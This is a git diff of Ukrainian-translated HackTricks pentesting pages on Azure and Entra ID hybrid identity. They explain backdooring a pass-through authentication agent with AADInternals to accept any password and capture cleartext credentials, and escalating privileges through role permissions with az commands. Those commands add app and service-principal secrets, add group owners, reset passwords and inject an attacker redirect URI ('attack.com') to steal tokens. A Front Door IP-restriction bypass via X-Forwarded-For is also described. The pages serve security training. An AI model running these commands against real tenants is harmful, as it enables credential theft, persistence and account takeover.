+> [!CAUTION] +> Entra ID більше не дозволяє синхронізувати адміністраторів з Entra ID до локального AD. +> Також це **не обійде MFA**. + + + +## Посилання + +- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/) +- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md similarity index 71% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md index d1ed28983..4824e79f0 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md @@ -2,15 +2,15 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Основна інформація +## Basic Information -[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication дозволяє вашим користувачам **увійти в обидва - локальні та хмарні додатки, використовуючи ті ж паролі**. Ця функція забезпечує кращий досвід для ваших користувачів - один пароль менше для запам'ятовування, і зменшує витрати на IT-підтримку, оскільки ваші користувачі менш імовірно забудуть, як увійти. Коли користувачі входять, використовуючи Microsoft Entra ID, ця функція перевіряє паролі користувачів безпосередньо проти вашого локального Active Directory. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication дозволяє вашим користувачам **увійти в якості в обидва - локальні та хмарні додатки, використовуючи ті ж паролі**. Ця функція забезпечує вашим користувачам кращий досвід - один пароль менше для запам'ятовування, і зменшує витрати на IT-підтримку, оскільки ваші користувачі менш імовірно забудуть, як увійти. Коли користувачі входять, використовуючи Microsoft Entra ID, ця функція перевіряє паролі користувачів безпосередньо проти вашого локального Active Directory. У PTA **ідентичності** **синхронізуються**, але **паролі не** так, як у PHS. Аутентифікація перевіряється в локальному AD, а зв'язок з хмарою здійснюється через **агента аутентифікації**, що працює на **локальному сервері** (не обов'язково на локальному DC). -### Потік аутентифікації +### Authentication flow
@@ -20,12 +20,12 @@ 4. **Агент** **перевіряє** облікові дані проти **локального AD** і надсилає **відповідь** **назад** до Azure AD, яка, якщо відповідь позитивна, **завершує вхід** користувача. > [!WARNING] -> Якщо зловмисник **компрометує** **PTA**, він може **бачити** всі **облікові дані** з черги (в **відкритому тексті**).\ +> Якщо зловмисник **компрометує** **PTA**, він може **бачити** всі **облікові дані** з черги (в **чистому тексті**).\ > Він також може **перевірити будь-які облікові дані** до AzureAD (схожий напад на Skeleton key). -### Перерахування +### Enumeration -З Entra ID: +From Entra ID: ```bash az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents' # Example response: @@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent" ``` ## Pivoting -Якщо у вас є **адміністраторський** доступ до **сервера Azure AD Connect** з запущеним **агентом PTA**, ви можете використовувати модуль **AADInternals** для **вставлення бекдору**, який буде **перевіряти ВСІ паролі**, що вводяться (так що всі паролі будуть дійсними для аутентифікації): +Якщо у вас є **admin** доступ до **Azure AD Connect server** з запущеним **PTA** **агентом**, ви можете використовувати модуль **AADInternals** для **вставлення бекдору**, який буде **перевіряти ВСІ паролі**, введені (так що всі паролі будуть дійсними для аутентифікації): ```bash Install-Module AADInternals -RequiredVersion 0.9.3 Import-Module AADInternals @@ -70,14 +70,14 @@ Remove-AADIntPTASpy # Remove the backdoor > [!NOTE] > Якщо **встановлення не вдалося**, це, ймовірно, через відсутність [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). -Ця бекдор програма буде: +Ця бекдор буде: - Створити приховану папку `C:\PTASpy` - Скопіювати `PTASpy.dll` до `C:\PTASpy` - Впровадити `PTASpy.dll` у процес `AzureADConnectAuthenticationAgentService` > [!NOTE] -> Коли служба AzureADConnectAuthenticationAgent перезапускається, PTASpy "вивантажується" і повинна бути повторно встановлена. +> Коли служба AzureADConnectAuthenticationAgent перезапускається, PTASpy “вивантажується” і його потрібно повторно встановити. > [!CAUTION] > Після отримання **GA привілеїв** у хмарі, можливо **зареєструвати новий PTA агент** і **повторити** **попередні** кроки для **автентифікації за допомогою будь-якого пароля** та також, **отримати паролі у відкритому тексті.** diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md deleted file mode 100644 index 986049137..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ /dev/null @@ -1,30 +0,0 @@ -# Az- Синхронізація нових користувачів - -{{#include ../../../../banners/hacktricks-training.md}} - -## Синхронізація користувачів AzureAD до on-prem для ескалації з on-prem до AzureAD - -Щоб синхронізувати нового користувача з **AzureAD до on-prem AD**, необхідні такі вимоги: - -- **Користувач AzureAD** повинен мати проксі-адресу ( **поштову скриньку** ) -- Ліцензія не потрібна -- Не повинен **вже бути синхронізований** -```bash -Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl -``` -Коли користувач, подібний до цього, знаходиться в AzureAD, для того щоб **отримати доступ до нього з on-prem AD**, вам просто потрібно **створити новий обліковий запис** з **proxyAddress** електронної пошти SMTP. - -Автоматично цей користувач буде **синхронізований з AzureAD до on-prem AD користувача**. - -> [!CAUTION] -> Зверніть увагу, що для виконання цієї атаки вам **не потрібен Domain Admin**, вам просто потрібні права для **створення нових користувачів**. -> -> Також, це **не обійде MFA**. -> -> Більше того, було повідомлено, що **синхронізація облікових записів більше не можлива для облікових записів адміністраторів**. - -## References - -- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 482b545f2..9a43b7f15 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,7 +3,7 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Зверніть увагу, що **не всі детальні дозволи**, які мають вбудовані ролі в Entra ID, **можуть бути використані в користувацьких ролях.** +> Зверніть увагу, що **не всі детальні дозволи**, які вбудовані в ролі в Entra ID, **можуть бути використані в користувацьких ролях.** ## Ролі @@ -48,11 +48,11 @@ az rest --method PATCH \ ] }' ``` -## Застосунки +## Applications ### `microsoft.directory/applications/credentials/update` -Це дозволяє зловмиснику **додати облікові дані** (паролі або сертифікати) до існуючих застосунків. Якщо застосунок має привілейовані дозволи, зловмисник може автентифікуватися як цей застосунок і отримати ці привілеї. +Це дозволяє зловмиснику **додати облікові дані** (паролі або сертифікати) до існуючих додатків. Якщо додаток має привілейовані дозволи, зловмисник може автентифікуватися як цей додаток і отримати ці привілеї. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -61,7 +61,7 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Це дозволяє виконувати ті ж дії, що й `applications/credentials/update`, але обмежено до однодиректорних додатків. +Це дозволяє виконувати ті ж дії, що й `applications/credentials/update`, але обмежено однодоменною організацією. ```bash az ad app credential reset --id --append ``` @@ -77,7 +77,7 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Зловмисник може додати URI перенаправлення до додатків, які використовуються користувачами орендаря, а потім поділитися з ними URL-адресами для входу, які використовують новий URL перенаправлення, щоб вкрасти їх токени. Зверніть увагу, що якщо користувач вже увійшов до додатку, аутентифікація буде автоматичною, без необхідності приймати щось. +Зловмисник може додати URI перенаправлення до додатків, які використовуються користувачами орендаря, а потім поділитися з ними URL-адресами для входу, які використовують новий URL-адресу перенаправлення, щоб вкрасти їх токени. Зверніть увагу, що якщо користувач вже увійшов до додатку, аутентифікація буде автоматичною без необхідності приймати щось. Зверніть увагу, що також можливо змінити дозволи, які запитує додаток, щоб отримати більше дозволів, але в цьому випадку користувачеві потрібно буде знову прийняти запит на всі дозволи. ```bash @@ -86,11 +86,11 @@ az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUr # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` -## Сервісні принципали +## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -Це дозволяє зловмиснику додавати облікові дані до існуючих сервісних принципалів. Якщо сервісний принципал має підвищені привілеї, зловмисник може прийняти ці привілеї. +Це дозволяє зловмиснику додавати облікові дані до існуючих службових принципів. Якщо службовий принцип має підвищені привілеї, зловмисник може прийняти ці привілеї. ```bash az ad sp credential reset --id --append ``` @@ -98,7 +98,7 @@ az ad sp credential reset --id --append > Новий згенерований пароль не з'явиться в веб-консолі, тому це може бути прихований спосіб підтримувати постійність над службовим принципалом.\ > З API їх можна знайти за допомогою: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Якщо ви отримали помилку `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, це тому, що **неможливо змінити властивість passwordCredentials** службового принципала, і спочатку вам потрібно його розблокувати. Для цього вам потрібен дозвіл (`microsoft.directory/applications/allProperties/update`), який дозволяє вам виконати: +Якщо ви отримали помилку `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, це тому, що **неможливо змінити властивість passwordCredentials** службового принципала, і спочатку потрібно його розблокувати. Для цього вам потрібна дозвіл (`microsoft.directory/applications/allProperties/update`), який дозволяє вам виконати: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` @@ -130,13 +130,13 @@ az ad sp owner list --id > [!CAUTION] > Після додавання нового власника я спробував його видалити, але API відповів, що метод DELETE не підтримується, навіть якщо це метод, який потрібно використовувати для видалення власника. Тому ви **не можете видалити власників в даний час**. -### `microsoft.directory/servicePrincipals/disable` та `enable` +### `microsoft.directory/servicePrincipals/disable` and `enable` -Ці дозволи дозволяють вимкнути та увімкнути службові принципали. Зловмисник може використовувати цей дозвіл, щоб увімкнути службовий принципал, до якого він може отримати доступ якимось чином, щоб підвищити привілеї. +Ці дозволи дозволяють вимкнути та увімкнути службові принципали. Зловмисник може використовувати цей дозвіл, щоб увімкнути службовий принципал, до якого він може отримати доступ якимось чином, щоб ескалувати привілеї. Зверніть увагу, що для цієї техніки зловмиснику знадобляться додаткові дозволи, щоб захопити увімкнений службовий принципал. ```bash -bashCopy code# Disable +# Disable az ad sp update --id --account-enabled false # Enable @@ -144,7 +144,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Ці дозволи дозволяють створювати та отримувати облікові дані для єдиного входу, що може дозволити доступ до сторонніх додатків. +Ці дозволи дозволяють створювати та отримувати облікові дані для єдиного входу, що може надати доступ до сторонніх додатків. ```bash # Generate SSO creds for a user or a group spID="" @@ -164,30 +164,38 @@ az rest --method POST \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" ``` +### Підвищення привілеїв додатків + +**Як пояснено в [цьому пості](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, було дуже поширено знаходити стандартні додатки, яким призначено **API permissions** типу **`Application`**. API Permission (як називається в консолі Entra ID) типу **`Application`** означає, що додаток може отримати доступ до API без контексту користувача (без входу користувача в додаток) і без необхідності ролей Entra ID для цього. Тому дуже поширено знаходити **високопривілейовані додатки в кожному орендарі Entra ID**. + +Отже, якщо зловмисник має будь-які дозволи/ролі, які дозволяють **оновлювати облікові дані (секрет або сертифікат) додатка**, зловмисник може згенерувати нові облікові дані і потім використовувати їх для **автентифікації як додаток**, отримуючи всі дозволи, які має додаток. + +Зверніть увагу, що згаданий блог ділиться деякими **API permissions** загальних стандартних додатків Microsoft, однак через деякий час після цього звіту Microsoft виправила цю проблему, і тепер неможливо увійти як додатки Microsoft. Однак все ще можливо знайти **кастомні додатки з високими привілеями, які можуть бути зловживані**. + --- ## Групи ### `microsoft.directory/groups/allProperties/update` -Ця дозволяє додавати користувачів до привілейованих груп, що призводить до ескалації привілеїв. +Цей дозвіл дозволяє додавати користувачів до привілейованих груп, що призводить до підвищення привілеїв. ```bash az ad group member add --group --member-id ``` -**Примітка**: Ця дозволяє виключає групи, які можуть бути призначені ролям Entra ID. +**Примітка**: Ця дозволена дія виключає групи, які можуть бути призначені ролям Entra ID. ### `microsoft.directory/groups/owners/update` -Цей дозвіл дозволяє стати власником груп. Власник групи може контролювати членство в групі та налаштування, потенційно підвищуючи привілеї в групі. +Ця дозволена дія дозволяє стати власником груп. Власник групи може контролювати членство в групі та налаштування, потенційно підвищуючи привілеї в групі. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Примітка**: Ця дозволяє виключає групи, які можуть бути призначені ролям Entra ID. +**Примітка**: Це дозволення виключає групи, які можуть бути призначені ролям Entra ID. ### `microsoft.directory/groups/members/update` -Цей дозвіл дозволяє додавати учасників до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ. +Це дозволення дозволяє додавати учасників до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ. ```bash az ad group member add --group --member-id ``` @@ -204,11 +212,11 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Примітка**: Ця дозволена дія виключає групи, які можуть бути призначені ролям Entra ID. +**Примітка**: Це дозволення виключає групи, які можуть бути призначені ролям Entra ID. -### Привілейоване підвищення динамічних груп +### Привілейоване підвищення в динамічних групах -Можливо, що користувачі можуть підвищити привілеї, змінюючи свої власні властивості, щоб бути доданими як члени динамічних груп. Для отримання додаткової інформації дивіться: +Можливо, що користувачі можуть підвищити свої привілеї, змінюючи свої власні властивості, щоб бути доданими до складу динамічних груп. Для отримання додаткової інформації дивіться: {{#ref}} dynamic-groups.md @@ -218,7 +226,7 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Ця дозволена дія дозволяє скинути пароль для неадміністраторів, що дозволяє потенційному зловмиснику підвищити привілеї до інших користувачів. Ця дозволена дія не може бути призначена для користувацьких ролей. +Це дозволення дозволяє скинути пароль для неадміністраторів, що дозволяє потенційному зловмиснику підвищити привілеї до інших користувачів. Це дозволення не може бути призначене для користувацьких ролей. ```bash az ad user update --id --password "kweoifuh.234" ``` @@ -252,7 +260,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Ця дозволяє зловмисникам призначати себе власниками пристроїв, щоб отримати контроль або доступ до налаштувань і даних, специфічних для пристроїв. +Ця дозволена дія дозволяє зловмисникам призначати себе власниками пристроїв, щоб отримати контроль або доступ до налаштувань і даних, специфічних для пристроїв. ```bash deviceId="" userId="" diff --git a/src/pentesting-cloud/azure-security/az-services/az-front-door.md b/src/pentesting-cloud/azure-security/az-services/az-front-door.md new file mode 100644 index 000000000..e44edfd1b --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-front-door.md @@ -0,0 +1,18 @@ +# Az - Файлові спільноти + +{{#include ../../../banners/hacktricks-training.md}} + +## Обхід RemoteAddr + +Цей **[блог пост](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** пояснює, як при налаштуванні деяких мережевих обмежень з Azure Front Door ви можете фільтрувати на основі **`RemoteAddr`** або **`SocketAddr`**. Основна різниця полягає в тому, що **`RemoteAddr`** фактично використовує значення з HTTP заголовка **`X-Forwarded-For`**, що робить його дуже легким для обходу. + +Для обходу цього правила можна використовувати автоматизовані інструменти, які **брутфорс IP-адреси** до тих пір, поки не знайдуть дійсну. + +Це згадується в [документації Microsoft](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction). + + +## Посилання + +- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass) + +{{#include ../../../banners/hacktricks-training.md}}